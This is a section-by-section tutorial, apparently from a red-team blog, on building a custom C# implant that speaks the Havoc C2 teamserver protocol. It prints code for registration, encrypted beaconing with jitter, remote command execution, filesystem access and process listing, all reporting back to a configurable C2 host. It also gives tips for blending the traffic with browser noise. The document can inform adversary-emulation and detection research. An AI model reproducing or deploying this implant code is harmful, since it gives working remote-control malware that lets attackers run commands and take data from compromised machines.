7: Code Walk-Through "Block by Block"
This section walks through every block of HavocAgent.cs. Explaining what the C# code does, what the Havoc teamserver expects on the other end, and precisely how the two sides synchronise. Everything described under the "Teamserver side" labels was established by reading the official Havoc repository source. Read this alongside the source file; each sub-section maps directly to a named method or group of constants.
1: Configuration Constants
Teamserver side: The Havoc listener is configured in a profile.yaotl file that sets the bind host, port, and HTTP path. The agent must mirror those values exactly and wrong host or URI causes the HTTP POST to 404 before the teamserver even sees the body.
// The only values you change before compiling
const string HOST = "CHANGE_ME"; // C2 IP or hostname from your listener profile
const int PORT = 80; // C2 port from your listener profile
const bool HTTPS = false;
const string URI = "/"; // must match the Http.Uri value in the profile
const string UA = "Mozilla/5.0 ..."; // sent in every HTTP POST
These constants are embedded directly into the compiled binary. There is no runtime config loaded from disk. The UA string is sent as the User-Agent header on every HTTP request. The teamserver does not validate the User-Agent, but a realistic value blends the traffic into normal browser noise on any network sensor that logs HTTP headers.
2: Protocol IDs and Magic Value
Teamserver side: Every incoming packet is checked against the magic value in the first 8 bytes before any further parsing. The stock binary has 0xDEADBEEF compiled in. A mismatch causes the handler to drop the packet silently with no error, no log. The command IDs come from the same constants table that drives the teamserver's dispatcher.
const uint DEMON_MAGIC = 0xDEADBEEF; // stock teamserver — swap if using a modified binary
const uint CMD_INIT = 99; // registration handshake
const uint CMD_GETJOB = 1; // poll for queued tasks
const uint CMD_NOJOB = 10; // server has nothing queued
const uint CMD_SLEEP = 11; // update polling interval
const uint CMD_PROC_LIST = 12; // process enumeration
const uint CMD_FS = 15; // filesystem operations (sub-command selects action)
const uint CMD_PROC = 0x1010; // process create / kill
const uint CMD_OUTPUT = 90; // command output back to operator
const uint CMD_EXIT = 92; // terminate agent process
Each filesystem (FS) and process (PROC) command uses a second-level sub-command integer inside the encrypted payload to select the specific action. This lets the teamserver share one top-level command ID for an entire category of operations while the agent branches on the sub-command byte after decryption.
3: Session State and Entry Point
Teamserver side: When the teamserver receives a valid registration it stores the agent ID, AES key, AES IV, and all metadata in SQLite. Every subsequent packet from the same agent ID is decrypted using those stored key and IV values. The three session variables — _id, _key, _iv — are the cryptographic identity of the session on both sides.
// Generated once at startup — never changes for the lifetime of this session
static uint _id; // 32-bit random agent identity
static byte[] _key; // 32-byte AES-256 session key
static byte[] _iv; // 16-byte AES CTR session IV
static int _sleepMs = 5000; // operator-updatable at runtime via CMD_SLEEP
static int _jitter = 10;
// Start() generates them from a cryptographically secure source
_key = new byte[32]; _iv = new byte[16];
using (var rng = new RNGCryptoServiceProvider()) { rng.GetBytes(_key); rng.GetBytes(_iv); }
var rnd = new Random();
_id = (uint)rnd.Next(0x100000, int.MaxValue);
Start() also disables TLS certificate validation so the agent connects to a self-signed cert on the teamserver without throwing. It then retries Register() every 15 seconds until the handshake succeeds, then enters the infinite check-in loop. The jitter each cycle is computed as (_sleepMs × _jitter%) + random(0, result), producing irregular beacon intervals that are harder to identify from network traffic timing alone.
4: Registration: BuildInitPayload() + BuildInitPacket()
Teamserver side: ParseDemonRegisterRequest in demons.go reads each field in exact order using its own length-prefixed reader. One field out of sequence corrupts all subsequent reads, the parser does not validate field names, only byte counts. After parsing, the teamserver stores the session in SQLite and broadcasts a WebSocket event to all connected operator clients, causing the new session row to appear instantly in their tables.
// BuildInitPayload() — order is enforced by the teamserver parser
WriteBE32(ms, _id);
WriteBEStr(ms, hostname); // ASCII + 4-byte BE length prefix
WriteBEStr(ms, username);
WriteBEStr(ms, domain);
WriteBEStr(ms, ip);
WriteBEWStr(ms, proc); // UTF-16 LE bytes + 4-byte BE length prefix (process path)
WriteBE32(ms, (uint)pid); WriteBE32(ms, (uint)tid); WriteBE32(ms, (uint)ppid);
WriteBE32(ms, arch); // process arch: IntPtr.Size == 8 ? 2 : 1 (runtime)
WriteBE32(ms, elev); // elevated: WindowsPrincipal.IsInRole(Admin) (runtime)
WriteBE64(ms, baseAddr); // base address: MainModule.BaseAddress (runtime, 8 bytes)
WriteBE32(ms, (uint)osv.Major); // OS major (runtime)
WriteBE32(ms, (uint)osv.Minor); // OS minor (runtime)
WriteBE32(ms, 1); // product type (hardcoded)
WriteBE32(ms, 0); // OS pack (hardcoded)
WriteBE32(ms, (uint)osv.Build); // build: Environment.OSVersion (runtime)
WriteBE32(ms, 9); // processor arch: PROCESSOR_ARCHITECTURE_AMD64 (hardcoded)
WriteBE32(ms, (uint)(_sleepMs/1000));
WriteBE32(ms, (uint)_jitter);
WriteBE64(ms, 0UL); // kill date
WriteBE32(ms, 0); // working hours
// BuildInitPacket() wraps it — key and IV go in plaintext before the encrypted body
// [SIZE 4BE][MAGIC 4BE][_id 4BE][CMD_INIT=99 4BE][ZERO 4BE][KEY 32][IV 16][AES(body)]
The process path field is the only string that uses UTF-16 LE bytes instead of ASCII, this matches what the teamserver displays in the operator client's Process column. Most integers are 4-byte big-endian; the base address field is 8-byte big-endian. The key and IV travel in plaintext so the teamserver can bootstrap decryption of the encrypted body. Register() verifies success by checking that the server's response, when decrypted with AesCtr(resp, _key, _iv), contains the same agent ID that was sent, confirming the server accepted the registration packet and stored the session correctly.
5: AES-256-CTR: AesCtr()
Teamserver side: XCryptBytesAES256 in teamserver/pkg/common/crypt/aes.go implements the same algorithm, AES-ECB per block, XOR with data, counter incremented big-endian from the last byte. Critically, the teamserver calls it as XCryptBytesAES256(payload, sessionKey, sessionIV) with the fixed session IV for every single task. There is no per-task nonce in the stock binary.
// Counter resets to _iv on EVERY call — intentional to match teamserver behaviour
static byte[] AesCtr(byte[] data, byte[] key, byte[] iv)
{
byte[] result = new byte[data.Length];
byte[] counter = (byte[])iv.Clone(); // starts at session IV every time
int off = 0;
while (off < data.Length)
{
// Encrypt the counter with AES-ECB to produce a keystream block
byte[] ks;
using (var aes = Aes.Create())
{ aes.Mode = CipherMode.ECB; aes.Key = key;
ks = aes.CreateEncryptor().TransformFinalBlock(counter, 0, 16); }
int n = Math.Min(16, data.Length - off);
for (int i = 0; i < n; i++) result[off+i] = (byte)(data[off+i] ^ ks[i]);
off += n;
// Increment counter big-endian (last byte first, with carry)
for (int i = counter.Length-1; i >= 0; i--)
if (++counter[i] != 0) break;
}
return result;
}
The counter increment, last byte first with carry, matches Go's incrementCounter in the teamserver exactly. The most important constraint is that the counter must reset to the session IV on every call to match what the teamserver does. This is cryptographically weak (every packet reuses the same keystream, which is a known many-time pad vulnerability covered in the gaps section), but it is what the stock binary implements. Any deviation produces garbage decryption on one side or the other.
6: Check-In: CheckIn() + BuildGetJobPacket()
Teamserver side: BuildPayloadMessage in agent.go dequeues pending tasks and packs each one as [CMD 4LE][REQID 4LE][LEN 4LE][AES-CTR(data, key, fixedIV)]. All tasks are concatenated into one response body with no count prefix, the agent reads until bytes are exhausted. If the queue is empty the server sends a single CMD_NOJOB(10) record with LEN=0.
// Get-job packet: exactly 20 bytes
// [16 4BE][MAGIC 4BE][_id 4BE][CMD_GETJOB=1 4BE][ZERO 4BE]
// CheckIn() reads the response as a stream of task records:
while (off + 12 <= resp.Length)
{
uint cmd = ReadLE32(resp, off); off += 4; // little-endian from server
uint reqId = ReadLE32(resp, off); off += 4;
uint len = ReadLE32(resp, off); off += 4;
byte[] enc = new byte[len];
Array.Copy(resp, off, enc, 0, (int)len); off += (int)len;
if (cmd == CMD_NOJOB) continue;
// Decrypt with fixed session IV — stock binary sends no per-task nonce
byte[] data = AesCtr(enc, _key, _iv);
DispatchTask(cmd, reqId, data);
}
The 16 in the first field of the get-job packet is the SIZE value, it counts the bytes after itself (4 fields × 4 bytes = 16). The teamserver identifies this as a check-in rather than a registration by the command ID (CMD_GETJOB=1 vs CMD_INIT=99). All fields from the server to the agent are little-endian; all fields from the agent to the server are big-endian. This asymmetry reflects Go's internal packer, which uses binary.LittleEndian when writing tasks and expects binary.BigEndian when reading agent results.
7: Task Dispatch: DispatchTask()
Teamserver side: Each operator action in the Havoc client translates to a specific command ID. The client serialises the task, the teamserver queues it keyed by agent ID and command ID, and delivers it on the next check-in. The agent's switch statement mirrors the server's command table exactly, any unhandled CMD is silently ignored, producing no response and no error visible to the operator.
switch (cmd)
{
case CMD_SLEEP:
// Task data: [seconds 4LE][jitter% 4LE] — handled inline, no result packet needed
if (data.Length >= 4) _sleepMs = (int)ReadLE32(data, 0) * 1000;
if (data.Length >= 8) _jitter = (int)ReadLE32(data, 4);
break;
case CMD_EXIT:
Environment.Exit(0); // immediate termination, no result
break;
case CMD_FS: DispatchFs(reqId, data); break;
case CMD_PROC: DispatchProc(reqId, data); break;
case CMD_PROC_LIST: DispatchProcList(reqId, data); break;
// Any other CMD falls through silently — add a case to implement it
}
CMD_SLEEP and CMD_EXIT are handled inline because they need no result packet, the teamserver knows the sleep interval was accepted because the agent continues beaconing at the new rate, and CMD_EXIT never returns. All other commands delegate to a dedicated handler that does the work, then sends one or more result packets before returning.
8: Filesystem Operations: DispatchFs() + SendFsBlock()
Teamserver side: The teamserver's FS command handler in commands.go reads the first decrypted 4-byte LE value as the sub-command, then parses the remainder according to the sub-command's specific layout. The result packet must carry CMD_FS in the plaintext CMD field, and the AES payload must open with [LEN 4BE][sub 4BE][...operation-specific data...]. The operator client maps each sub-command to a specific UI widget, dir results populate the file browser, pwd results update the path bar.
// DispatchFs — reads sub-command then routes
uint sub = ReadLE32(data, 0); // 4 LE bytes from decrypted task
case FS_PWD: // sub=9
{
string cwd = Directory.GetCurrentDirectory();
SendFsBlock(reqId, sub, ms => { WriteU16String(ms, cwd); });
break;
}
// SendFsBlock builds the result envelope expected by the teamserver parser:
// inner = [sub 4BE][operation data]
// plain = [innerLen 4BE][inner]
// Then calls SendResultPacket(CMD_FS, reqId, plain)
Eight sub-commands are implemented: dir (1), cd (4), remove (5), mkdir (6), cp (7), mv (8), pwd (9), and cat (10). Download (sub=2) and upload (sub=3) are intentional gaps. For dir, the code handles two special cases: when the path is empty or "." it returns the list of logical drives instead of a directory listing, which is what the Havoc file browser sends on its first open; when the path points to a real directory it enumerates files and subdirectories with name, size, type flag, and last-write timestamp in the format the client renders.
9: Process Execution: DispatchProc() + RunProcess()
Teamserver side: When the operator runs shell whoami or run notepad.exe, the client sends CMD_PROC (0x1010) with sub-command PROC_CREATE=4. The task payload carries a state field (ignored by this agent), the executable path, and the argument string, all as LE length-prefixed UTF-16 strings. The teamserver expects two result packets back: first a CMD_OUTPUT(90) packet carrying the process output, then a CMD_PROC result carrying the PID and success flag to update the process column in the operator client.
// RunProcess — dual-thread drain prevents pipe deadlock
string o = "", e = "";
var outThread = new Thread(() => { o = p.StandardOutput.ReadToEnd(); });
var errThread = new Thread(() => { e = p.StandardError.ReadToEnd(); });
outThread.IsBackground = true; errThread.IsBackground = true;
outThread.Start(); errThread.Start();
bool exited = p.WaitForExit(30000); // 30-second watchdog
if (!exited) { p.Kill(); } // kill hangers, unblocks pipe drain threads
outThread.Join(5000); errThread.Join(5000);
// Two result packets:
SendOutput(reqId, output); // CMD_OUTPUT — what the operator sees in the console
SendProcCreateResult(reqId, proc, pid, ...); // CMD_PROC — PID + success flag
The dual-thread drain is not optional, a single-threaded sequential read (stdout first, then stderr) deadlocks if the child process writes enough bytes to fill the stderr pipe buffer before stdout is exhausted, because the child blocks on its stderr.Write while the agent is blocked on stdout.Read. Both pipes must be drained concurrently. Killing the process on timeout closes the child end of both pipes, which signals end-of-file to the read threads and unblocks them naturally without needing an explicit pipe close.
10: Process List: DispatchProcList()
Teamserver side: The ps command sends CMD_PROC_LIST(12) with an empty payload. The teamserver's result parser reads a repeating sequence of per-process fields until the decrypted buffer is exhausted — name, PID, WoW64 flag, PPID, session ID, thread count, username. The operator client renders this as the process table and uses the same data to populate the session graph showing process trees.
foreach (var p in Process.GetProcesses())
{
WriteU16String(inner, name); // UTF-16 + BE length
WriteBE32(inner, (uint)pid);
WriteBE32(inner, GetIsWow64(p) ? 1u : 0u); // IsWow64 via P/Invoke to kernel32.IsWow64Process
WriteBE32(inner, (uint)ppid); // from NtQueryInformationProcess
WriteBE32(inner, (uint)sess);
WriteBE32(inner, (uint)thrs);
WriteU16String(inner, user); // DOMAIN\username from OpenProcessToken + LookupAccountSid
}
// Wrap: [LEN 4BE][ProcessUI=0 4BE][per-process records...]
PPID is retrieved with a P/Invoke to NtQueryInformationProcess(ProcessBasicInformation), which fills a PROCESS_BASIC_INFORMATION struct containing the InheritedFromUniqueProcessId field. Username resolution calls OpenProcessToken then LookupAccountSid and both fail silently for system processes, returning an empty string, which the teamserver handles gracefully. The ProcessUI=0 flag in the outer header tells the client this is a full snapshot rather than a live-update stream.
11: Result Sending: SendOutput() + SendResultPacket()
Teamserver side: The result handler in handlers.go reads CMD and REQID from the plaintext header before decrypting the body, which is why those two fields must be unencrypted. CMD routes the packet to the right handler (output parser, FS parser, PROC parser). REQID correlates the result to the originating task so the output appears in the correct operator console pane. The DEMON_OUTPUT parser expects the two-length-prefix structure. The outer length covers inner length field plus data, inner length covers just the data bytes.
// SendOutput — wraps raw bytes in DEMON_OUTPUT two-level prefix
uint len = (uint)output.Length;
WriteBE32(plain, 4 + len); // OUTER: covers INNER field + data
WriteBE32(plain, len); // INNER: covers data only
plain.Write(output, ...);
SendResultPacket(CMD_OUTPUT, reqId, plain.ToArray());
// SendResultPacket — encrypts and assembles the wire packet
byte[] enc = AesCtr(aesPlain, _key, _iv); // fixed session IV
WriteBE32(ms, 0); // SIZE placeholder
WriteBE32(ms, DEMON_MAGIC);
WriteBE32(ms, _id);
WriteBE32(ms, cmd); // PLAINTEXT — server reads before decrypt
WriteBE32(ms, reqId); // PLAINTEXT — correlates output to task
ms.Write(enc, ...); // AES-encrypted payload
// Backfill SIZE = total bytes after the SIZE field, then POST
The SIZE field is a byte count of everything after itself in the packet. It is assembled last, the packet is built into a MemoryStream, converted to a byte array, and the first four bytes are overwritten with the computed size. CMD and REQID sitting in plaintext before the AES block is a deliberate protocol design decision: the teamserver can route and correlate packets without decrypting them first, which keeps the hot path fast on the server side when many agents are beaconing concurrently.
12: Write / Read Helpers: The Serialisation Layer
Teamserver side: Go's packer.go writes tasks using binary.LittleEndian.PutUint32 and reads agent results using binary.BigEndian. This means the direction of traffic determines the endianness, the C# helpers are split into write helpers (big-endian, agent→server) and read helpers (little-endian, server→agent).
// ── Write helpers: agent → server, all big-endian ──
WriteBE32(s, v) // 4-byte big-endian uint (used for headers and integers)
WriteBE64(s, v) // 8-byte big-endian ulong (file sizes, timestamps)
WriteBEStr(s, str) // ASCII bytes + [LEN 4BE] — hostname, username, domain, IP
WriteBEWStr(s, str) // UTF-16 LE bytes + [LEN 4BE] — used for process path in registration
WriteU16String(s, str) // UTF-16 LE bytes + [LEN 4BE] — used for all other wide strings
WriteBEBytes(s, b) // raw bytes + [LEN 4BE] — file content, chunk data
// ── Read helpers: server → agent, all little-endian ──
ReadLE32(buf, off) // 4-byte LE uint — CMD, REQID, LEN, sub-commands
ReadLeUtf16(buf, ref off) // LE length-prefixed UTF-16 string — paths, arguments
WriteBEWStr and WriteU16String produce the same bytes, both write UTF-16 LE content with a big-endian length prefix but WriteBEWStr is used only for the process path in the registration payload, where the naming makes the code easier to follow against the teamserver parser. Getting the string encoding wrong (sending UTF-8 where UTF-16 is expected, or a wrong endianness on the length field) is one of the most common reasons a custom agent registers successfully but displays garbled text in the operator client.